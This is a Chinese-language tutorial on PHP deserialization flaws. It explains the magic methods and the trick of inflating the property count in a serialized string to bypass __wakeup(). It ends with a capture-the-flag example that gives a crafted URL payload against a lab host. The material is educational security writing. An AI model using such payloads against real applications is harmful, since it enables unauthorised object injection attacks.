1. 程式人生 > 其它 >PHP反序列化漏洞(1)

PHP反序列化漏洞(1)

技術標籤:基礎Web漏洞簡述php安全

背景

Serialize() //將一個物件轉換成一個字串

unserialize() //將字串還原成一個物件

通過序列化與反序列化我們可以很方便的在PHP中進行物件的傳遞。本質上反序列化是沒有危害的。但是如果使用者對資料可控那就可以利用反序列化構造payload攻擊。

常見方法

__construct()//建立物件時觸發
__destruct() //物件被銷燬時觸發
__call() //在物件上下文中呼叫不可訪問的方法時觸發
__callStatic() //在靜態上下文中呼叫不可訪問的方法時觸發
__get() //用於從不可訪問的屬性讀取資料
__set() //用於將資料寫入不可訪問的屬性

__isset() //在不可訪問的屬性上呼叫isset()或empty()觸發
__unset() //在不可訪問的屬性上使用unset()時觸發
__invoke() //當指令碼嘗試將物件呼叫為函式時觸發

比較重要的方法

__sleep()

serialize() 函式會檢查類中是否存在一個魔術方法 __sleep()。如果存在,該方法會先被呼叫,然後才執行序列化操作。此功能可以用於清理物件,並返回一個包含物件中所有應被序列化的變數名稱的陣列。如果該方法未返回任何內容,則 NULL 被序列化,併產生一個 E_NOTICE 級別的錯誤。
物件被序列化之前觸發,返回需要被序列化儲存的成員屬性,刪除不必要的屬性。

__wakeup()

unserialize() 會檢查是否存在一個 __wakeup() 方法。如果存在,則會先呼叫 __wakeup 方法,預先準備物件需要的資源。

__wakeup()函式用法:
wakeup()是用在反序列化操作中。unserialize()會檢查存在一個wakeup()方法。如果存在,則先會呼叫__wakeup()方法。

<?php
class A{
function __wakeup(){
echo 'Hello';
}
}
$c = new A();
$d=unserialize('O:1:"A":0:{}');
?>

最後頁面輸出了Hello。在反序列化的時候存在__wakeup()函式,所以最後就會輸出Hello。

__wakeup()函式漏洞說明:

<?php
class Student{
public $full_name = 'zhangsan';
public $score = 150;
public $grades = array();

function __wakeup() {
echo "__wakeup is invoked";
}
}
$s = new Student();
var_dump(serialize($s));
?>

最後頁面上輸出的就是Student物件的一個序列化輸出:
O:7:"Student":3:{s:9:"full_name";s:8:"zhangsan";s:5:"score";i:150;s:6:"grades";a:0:{}}
其中在Stuedent類後面有一個數字3,整個3表示的就是Student類存在3個屬性。

wakeup()漏洞就是與整個屬性個數值有關。當序列化字串表示物件屬性個數的值大於真實個數的屬性時就會跳過wakeup的執行。

當我們將上述的序列化的字串中的物件屬性個數修改為5,變為

O:7:"Student":5:
{s:9:"full_name";
s:8:"zhangsan";
s:5:"score";
i:150;
s:6:"grades";
a:0:{}}

最後執行執行的程式碼如下:

class Student{
public $full_name = 'zhangsan';
public $score = 150;
public $grades = array();

function __wakeup() {
echo "__wakeup is invoked";
}
function __destruct() {
var_dump($this);
}
}

$s = new Student();
$stu = unserialize('O:7:"Student":5:{s:9:"full_name";s:8:"zhangsan";s:5:"score";i:150;s:6:"grades";a:0:{}}');

這樣就成功地繞過了__wakeup()函式。

例子:

<?php
class xctf{                      //定義一個名為xctf的類
public $flag = '111';            //定義一個公有的類屬性$flag,值為111
public function __wakeup(){      //定義一個公有的類方法__wakeup(),輸出bad requests後退出當前指令碼
exit('bad requests');
}
}
$test = new xctf();           //使用new運算子來例項化該類(xctf)的物件為test
echo(serialize($test));       //輸出被序列化的物件(test)
?>

執行結果

O:4:“xctf”:1:{s:4:“flag”;s:3:“111”;},要反序列化xctf類的同時還要繞過wakeup方法的執行,如果不繞過就會輸出bad requests並退出。
修改:http://111.198.29.45:50545/?code=O:4:%22xctf%22:5:{s:4:%22flag%22;s:3:%22111%22;}
示例